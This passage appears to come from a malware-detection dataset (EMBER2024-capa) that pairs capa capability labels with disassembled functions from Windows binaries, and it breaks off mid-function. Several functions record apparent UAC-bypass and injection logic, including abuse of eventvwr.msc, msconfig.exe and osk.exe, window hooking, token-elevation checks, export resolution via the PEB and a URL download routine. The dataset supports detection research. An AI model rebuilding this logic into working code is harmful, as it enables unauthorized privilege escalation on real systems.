joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400309f0
Capabilities:
Parse pe header

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rsi, rcx
test rcx, rcx
je 0x140030abb
movzx eax, word [rsi]
cmp eax, 0x5a4d
jne 0x140030ad3
movsxd rax, dword [rsi + 0x3c]
cmp dword [rsi + rax], 0x4550
jne 0x140030adf
add rax, rsi
movzx ecx, word [rax + 0x14]
test rcx, rcx
je 0x140030af7
lea rbx, [rax + rcx]
add rbx, 0x18
movzx r14d, word [rax + 6]
xor r15d, r15d
lea rdi, str..detour
nop word cs:[rax + rax]
cmp r15d, r14d
jae 0x140030aeb
mov eax, r15d
lea r12, [rax + rax*4]
lea rcx, [rbx + r12*8]
mov rdx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
inc r15d
test eax, eax
jne 0x140030a60
mov eax, dword [rbx + r12*8 + 0xc]
test rax, rax
je 0x140030aeb
cmp dword [rbx + r12*8 + 0x10], 0
je 0x140030aeb
mov ecx, dword [rsi + rax]
cmp ecx, 0x40
jb 0x140030aeb
add rsi, rax
cmp dword [rsi + 4], 0x727444
jne 0x140030aeb
cmp dword [rsi + 8], 0
jne 0x140030ab2
mov dword [rsi + 8], ecx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
jmp 0x140030b03
xor ecx, ecx
call sub.KERNEL32.dll_GetModuleHandleW
mov rsi, rax
movzx eax, word [rsi]
cmp eax, 0x5a4d
je 0x140030a1d
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
jmp 0x140030b01
mov ecx, 0xbf
call sub.KERNEL32.dll_SetLastError
jmp 0x140030b01
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
jmp 0x140030b01
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor esi, esi
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret

Function at 0x140030c90
Capabilities:
Parse pe header

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
movaps xmmword [rsp + 0x50], xmm6
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
xorps xmm6, xmm6
lea r14, [rsp + 0x20]
add rbx, 0x10000
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm6
movaps xmmword [rsp + 0x20], xmm6
jmp 0x140030cda
mov rbx, qword [rsp + 0x20]
add rbx, qword [rsp + 0x38]
mov r8d, 0x30
mov rcx, rbx
mov rdx, r14
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
je 0x140030d47
cmp dword [rsp + 0x40], 0x1000
jne 0x140030cd0
mov eax, dword [rsp + 0x44]
cmp al, 1
je 0x140030cd0
and eax, 0x100
jne 0x140030cd0
movzx eax, word [rbx]
cmp eax, 0x5a4d
jne 0x140030cd0
mov eax, dword [rbx + 0x3c]
cmp rax, 0x40
jb 0x140030cd0
cmp qword [rsp + 0x38], rax
jb 0x140030cd0
cdqe
cmp dword [rbx + rax], 0x4550
jne 0x140030cd0
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.140030b40
test rax, rax
je 0x140030cae
jmp 0x140030d53
mov ecx, 0x7e
call sub.KERNEL32.dll_SetLastError
xor eax, eax
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x14003255c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140032596
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14003259b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400325e4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140035e20]
cmp byte [rcx + rax], 0
je 0x1400325e4
dec r8
sub rdx, 1
jne 0x1400325ca
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140032980
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400329ca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400329ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400329ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400329ca
cmp dword [rcx + 0x84], 0xe
jbe 0x1400329ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400329cc
xor al, al
add rsp, 0x28
ret
Function at 0x180001180
Capabilities:
Contain obfuscated stackstrings
Get windows directory from kuser_shared_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor esi, esi
mov dword [rbp - 0x19], 0x73005c
mov edx, 0x7ffe0030
mov word [rbp - 0x11], si
mov word [rbp + 0x13], si
mov rbx, rcx
mov word [rbp + 3], si
mov dword [rbp - 0x15], 0x730079
mov dword [rbp + 7], 0x650074
mov dword [rbp + 0xb], 0x33006d
mov dword [rbp + 0xf], 0x5c0032
mov dword [rbp - 9], 0x6f0077
mov dword [rbp - 5], 0x360077
mov dword [rbp - 1], 0x5c0034
call fcn.180001c10
lea rdx, [rbp - 0x19]
call fcn.180001b64
lea r9d, [rsi + 0x40]
mov qword [rsp + 0x20], rsi
mov ecx, r9d
lea rdi, [rbp + 0x17]
xor eax, eax
lea r8, [rbp + 0x17]
rep stosb byte [rdi], al
or rcx, 0xffffffffffffffff
mov qword [rbp + 0x17], r9
xor edx, edx
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x180001230
mov eax, dword [rbp + 0x4f]
lea rdx, [rbp - 9]
shr eax, 1
test al, 1
jne 0x180001234
lea rdx, [rbp + 7]
mov rcx, rbx
call fcn.180001b64
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000144c
Capabilities:
Hash data with crc32
Map section object

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x8d0]
sub rsp, 0x9d0
xor ebx, ebx
mov r15d, 0x1000
mov qword [rbp + 0x908], rbx
mov r14, rcx
mov qword [rbp + 0x910], rbx
mov qword [rbp + 0x918], r15
call fcn.1800012e4
mov rsi, rax
test rax, rax
je 0x1800015e0
xor eax, eax
lea rdi, [rbp - 0x70]
mov ecx, 0x100
lea rdx, [rbp - 0x70]
rep stosb byte [rdi], al
mov ecx, 0x6364
call fcn.180001258
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x60], 0x30
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], rsi
mov edx, 0xf001f
mov dword [rsp + 0x78], 0x40
lea rcx, [rbp + 0x908]
movdqu xmmword [rbp - 0x80], xmm0
call qword [sym.imp.ntdll.dll_NtOpenSection]
test eax, eax
js 0x1800015d7
mov rcx, qword [rbp + 0x908]
lea eax, [rbx + 2]
mov dword [rsp + 0x48], eax
lea r8, [rbp + 0x910]
mov dword [rsp + 0x40], 0x100000
xor r9d, r9d
mov dword [rsp + 0x38], eax
or rdx, 0xffffffffffffffff
lea rax, [rbp + 0x918]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
js 0x1800015ca
mov rdx, qword [rbp + 0x910]
lea rdi, [rbp + 0x90]
mov r15d, 0x834
xor eax, eax
mov ecx, r15d
mov r8d, r15d
rep stosb byte [rdi], al
lea rcx, [rbp + 0x90]
call fcn.180002cb0
mov rdx, qword [rbp + 0x908]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov edi, dword [rbp + 0x90]
lea rdx, [rbp + 0x90]
mov r8d, r15d
mov dword [rbp + 0x90], ebx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlComputeCrc32]
cmp edi, eax
jne 0x1800015ca
mov rcx, r14
mov dword [rbp + 0x90], edi
lea rdx, [rbp + 0x90]
mov r8d, r15d
call fcn.180002cb0
mov ebx, 1
mov rcx, qword [rbp + 0x908]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, ebx
mov rbx, qword [rsp + 0xa00]
add rsp, 0x9d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000169c
Capabilities:
Access peb ldr_data
Get kernel32 base address
Resolve function by parsing pe exports

Disassembly:
mov r8, rcx
test rcx, rcx
je 0x180001776
mov rax, qword gs:[0x30]
mov rdx, qword [rax + 0x60]
mov r9, qword [rdx + 0x20]
mov dword [rcx], 0x68
mov rax, qword [r9 + 0xd8]
mov qword [rcx + 8], rax
mov rax, qword [r9 + 0xc8]
mov qword [rcx + 0x10], rax
mov rax, qword [r9 + 0xb8]
mov qword [rcx + 0x18], rax
mov eax, dword [r9 + 0x88]
mov dword [rcx + 0x20], eax
mov eax, dword [r9 + 0x8c]
mov dword [rcx + 0x24], eax
mov eax, dword [r9 + 0x90]
mov dword [rcx + 0x28], eax
mov eax, dword [r9 + 0x94]
mov dword [rcx + 0x2c], eax
mov eax, dword [r9 + 0x98]
mov dword [rcx + 0x30], eax
mov eax, dword [r9 + 0x9c]
mov dword [rcx + 0x34], eax
mov eax, dword [r9 + 0xa0]
mov dword [rcx + 0x38], eax
mov ecx, dword [r9 + 0xa4]
mov dword [r8 + 0x3c], ecx
movzx eax, word [r9 + 0xa8]
mov word [r8 + 0x40], ax
movzx eax, word [r9 + 0xe0]
mov word [r8 + 0x42], ax
mov rax, qword [r9 + 0xe8]
mov qword [r8 + 0x48], rax
test ecx, 0x300
je 0x180001776
mov rax, qword [r9 + 0x20]
mov qword [r8 + 0x50], rax
mov rax, qword [r9 + 0x28]
mov qword [r8 + 0x58], rax
mov rax, qword [r9 + 0x30]
mov qword [r8 + 0x60], rax
ret
Function at 0x180001778
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x300
mov esi, edx
mov rbx, rcx
test rcx, rcx
je 0x1800018c6
test edx, edx
je 0x1800018c6
xor eax, eax
lea rdi, [rbp - 0x10]
xor r14d, r14d
mov ecx, 0x20a
rep stosb byte [rdi], al
lea rcx, [rbp - 0x10]
lea r15d, [r14 + 0x10]
call fcn.180001180
xor eax, eax
lea rdi, [rbp - 0x80]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], edx
call fcn.18000169c
mov rax, qword gs:[0x30]
lea r8, [rsi + 0x1000]
lea edx, [r14 + 8]
mov edi, esi
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rsi, rax
test rax, rax
je 0x180001827
xor r15d, r15d
mov r8d, edi
mov rdx, rbx
mov rcx, rax
lea r14d, [r15 + 1]
call fcn.180002cb0
mov eax, 5
mov dword [rbp - 0x44], 1
mov word [rbp - 0x40], ax
lea rdi, [rsp + 0x60]
xor eax, eax
xor r9d, r9d
mov r8, rsi
xor edx, edx
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rax, [rsp + 0x60]
xor ecx, ecx
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
mov dword [rsp + 0x30], r15d
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov edi, eax
test eax, eax
je 0x1800018a1
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntdll.dll_NtClose]
test r14d, r14d
je 0x1800018c2
mov rcx, qword gs:[0x30]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, edi
jmp 0x1800018c8
xor eax, eax
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x180001cc0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor eax, eax
lea rdi, [0x180008040]
mov ecx, 0x834
rep stosb byte [rdi], al
lea rcx, [0x180008040]
call fcn.18000144c
mov ebx, eax
test eax, eax
je 0x180001cff
lea rdi, [0x18000804c]
mov rcx, rdi
call fcn.180001c50
add eax, eax
jmp 0x180001d03
xor edi, edi
xor eax, eax
mov edx, eax
mov rcx, rdi
call fcn.180001778
xor edi, edi
test eax, eax
setne dil
test ebx, ebx
je 0x180001d25
lea rcx, [0x18000866a]
call fcn.1800015fc
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x180001d44
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov dword [rax + 0x10], edx
push rbp
push rdi
push r14
lea rbp, [rax - 0x168]
sub rsp, 0x250
mov rsi, rcx
lea rdi, [rsp + 0x40]
xor eax, eax
lea rdx, [rsp + 0x40]
mov rbx, r8
mov ecx, 0x20a
rep stosb byte [rdi], al
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r14d, r14d
test eax, eax
je 0x180001e4a
movzx ecx, word [rsp + 0x40]
lea rdx, [rsp + 0x40]
lea rdi, [rsp + 0x40]
test cx, cx
je 0x180001dd2
lea r8, [rsp + 0x42]
cmp cx, 0x5c
lea rdx, [rdx + 2]
movzx ecx, word [rdx]
mov rax, r8
cmovne rax, rdi
add r8, 2
mov rdi, rax
test cx, cx
jne 0x180001daf
test rax, rax
je 0x180001e4a
lea rdx, str.osk.exe
mov rcx, rdi
call fcn.180001ba0
test eax, eax
jne 0x180001e32
lea rdx, [0x180004270]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001e29
xor r9d, r9d
mov r8, rsi
mov rdx, rax
lea ecx, [r9 + 4]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov rdi, rax
test rax, rax
je 0x180001e29
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
test rbx, rbx
je 0x180001e62
mov rdx, rbx
mov rcx, rdi
call fcn.180001ba0
test eax, eax
je 0x180001ee1
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov qword [rsp + 0x30], r14
mov dword [rbp + 0x188], r14d
mov dword [rbp + 0x178], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtOpenProcessToken]
mov edi, eax
test eax, eax
js 0x180001ecc
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x188]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x178]
lea edx, [r9 + 0xe]
call qword [sym.imp.ntdll.dll_NtQueryInformationToken]
mov rcx, qword [rsp + 0x30]
mov edi, eax
call qword [sym.imp.ntdll.dll_NtClose]
test edi, edi
js 0x180001e4a
cmp dword [rbp + 0x178], 2
jne 0x180001e4a
call fcn.180001cc0
int3

Function at 0x180002304
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
push rdi
sub rsp, 0x240
xor ebx, ebx
mov dword [rax + 8], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdi, [rsp + 0x30]
mov ecx, 0x20a
mov rdx, rax
lea r8, [rsp + 0x30]
xor eax, eax
rep stosb byte [rdi], al
lea rax, [rsp + 0x250]
mov rcx, rdx
mov qword [rsp + 0x20], rax
call section..text
cmp dword [rsp + 0x250], ebx
je 0x18000237e
movzx eax, word [rsp + 0x30]
cmp ax, 0x31
jne 0x180002364
call fcn.1800021d0
jmp 0x18000237c
cmp ax, 0x32
jne 0x180002371
call fcn.180002288
jmp 0x18000237c
cmp ax, 0x33
jne 0x18000237e
call fcn.1800022e0
mov ebx, eax
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x180002a20
Capabilities:
Create process on windows
Enumerate gui resources
Get windows directory from kuser_shared_data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rbx, rcx
mov edx, 0x7ffe0030
lea rcx, [rbp - 0x20]
call fcn.180001c10
lea rdx, str._system32_
lea rcx, [rbp - 0x20]
call fcn.180001b64
lea rdx, str.msconfig.exe
lea rcx, [rbp - 0x20]
call fcn.180001b64
xor eax, eax
lea rdi, [rsp + 0x40]
lea edx, [rax + 0x70]
mov ecx, edx
rep stosb byte [rdi], al
lea rax, [rbp - 0x20]
mov dword [rsp + 0x40], edx
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x40]
lea rax, [0x1800043ac]
mov dword [rsp + 0x44], 0x40
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x70], 5
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x180002b3b
xor eax, eax
lea rdi, [rbp - 0x50]
and qword [rsp + 0x20], rax
lea r8, [rbp - 0x50]
xor edx, edx
lea r9d, [rax + 0x30]
mov ecx, r9d
rep stosb byte [rdi], al
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x180002b25
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp - 0x30]
lea rdx, [rsp + 0x30]
and qword [rsp + 0x30], 0
lea rcx, [0x1800029a4]
mov dword [rsp + 0x38], eax
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x180002b25
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180002b25
mov r8, rbx
lea rdx, [0x1800027fc]
call qword [sym.imp.USER32.dll_EnumChildWindows]
mov rcx, qword [rbp - 0x58]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x180002b50
Capabilities:
Create process on windows
Get windows directory from kuser_shared_data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
push rbp
lea rbp, [rax - 0x3d8]
sub rsp, 0x4d0
mov edx, 0x7ffe0030
lea rcx, [rbp - 0x40]
mov ebx, 5
call fcn.180001c10
lea rdx, str._system32_
lea rcx, [rbp - 0x40]
call fcn.180001b64
lea rdx, str.mmc.exe
lea rcx, [rbp - 0x40]
call fcn.180001b64
xor eax, eax
lea r14d, [rbx + 0x6b]
mov ecx, r14d
lea rdi, [rsp + 0x50]
rep stosb byte [rdi], al
lea rax, [rbp - 0x40]
mov dword [rsp + 0x50], r14d
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x50]
lea rax, str.eventvwr.msc
mov dword [rsp + 0x54], 0x40
mov qword [rsp + 0x70], rax
mov dword [rbp - 0x80], ebx
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor edi, edi
test eax, eax
je 0x180002c5d
xor edx, edx
lea rcx, str.MMCMainFrame
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
jne 0x180002c0d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
add ebx, 0xffffffff
jne 0x180002be7
jmp 0x180002c47
mov rcx, rax
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, 1
mov qword [rsp + 0x28], r14
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x38], rdi
lea r8d, [rcx + 0x27]
call qword [sym.imp.USER32.dll_SendInput]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 0x48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x4d0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x180002910
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x460
mov rax, qword [0x180038080]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rbx, rdx
mov rsi, rcx
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], 1
mov byte [rsp + 0x50], 0
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rsp + 0x51]
call fcn.1800266e0
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
xor edi, edi
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 0xf
mov byte [rsi], dil
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x18003240c]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x180002a7b
cmp qword [rbx + 0x18], 0xf
jbe 0x1800029b0
mov rbx, qword [rbx]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbp, rax
test rax, rax
je 0x180002a71
nop dword [rax + rax]
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x180002a68
mov ebx, dword [rsp + 0x40]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x180002a42
lea rax, [rcx + rbx]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 0xf
jbe 0x180002a28
mov rax, qword [rsi]
lea rdi, [rax + rcx]
mov r8, rbx
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.180026040
mov byte [rdi + rbx], 0
jmp 0x180002a5a
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call fcn.180006800
cmp dword [rsp + 0x40], 0x400
je 0x1800029e0
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, rsi
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.180008150
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x180004af0
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x30
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x180004b14
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
je 0x180004ba2
mov rdi, r15
mov qword [rsp + 0x68], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x180004b70
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x180004b70
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.180026040
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x180004b8d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x180004b95
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x180004b31
mov rbp, qword [rsp + 0x68]
sub r15, rdi
jmp 0x180004c80
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x180004bb9
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180004bbb
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180004bed
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.180026040
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x180004c7d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180004c28
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x180004c5e
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.18000fc40
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x180004c7d
cmp rsi, rax
ja 0x180004c31
test rsi, rsi
je 0x180004c7d
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.18000fc40
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r15
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
Function at 0x18001319c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18001320b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18001320b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18001320b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18001320b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18001320b
cmp dword [rcx + 0x84], 0xe
jbe 0x18001320b
cmp dword [rcx + 0xf8], 0
je 0x18001320b
mov ecx, ebx
call fcn.1800132bc
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180013098
nop
cmp dword [rbp + 0x20], 0
je 0x180013259
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180013264
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x18001319c

Function at 0x180014c4c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180014c62
mov al, 1
jmp 0x180014cc2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180014c73
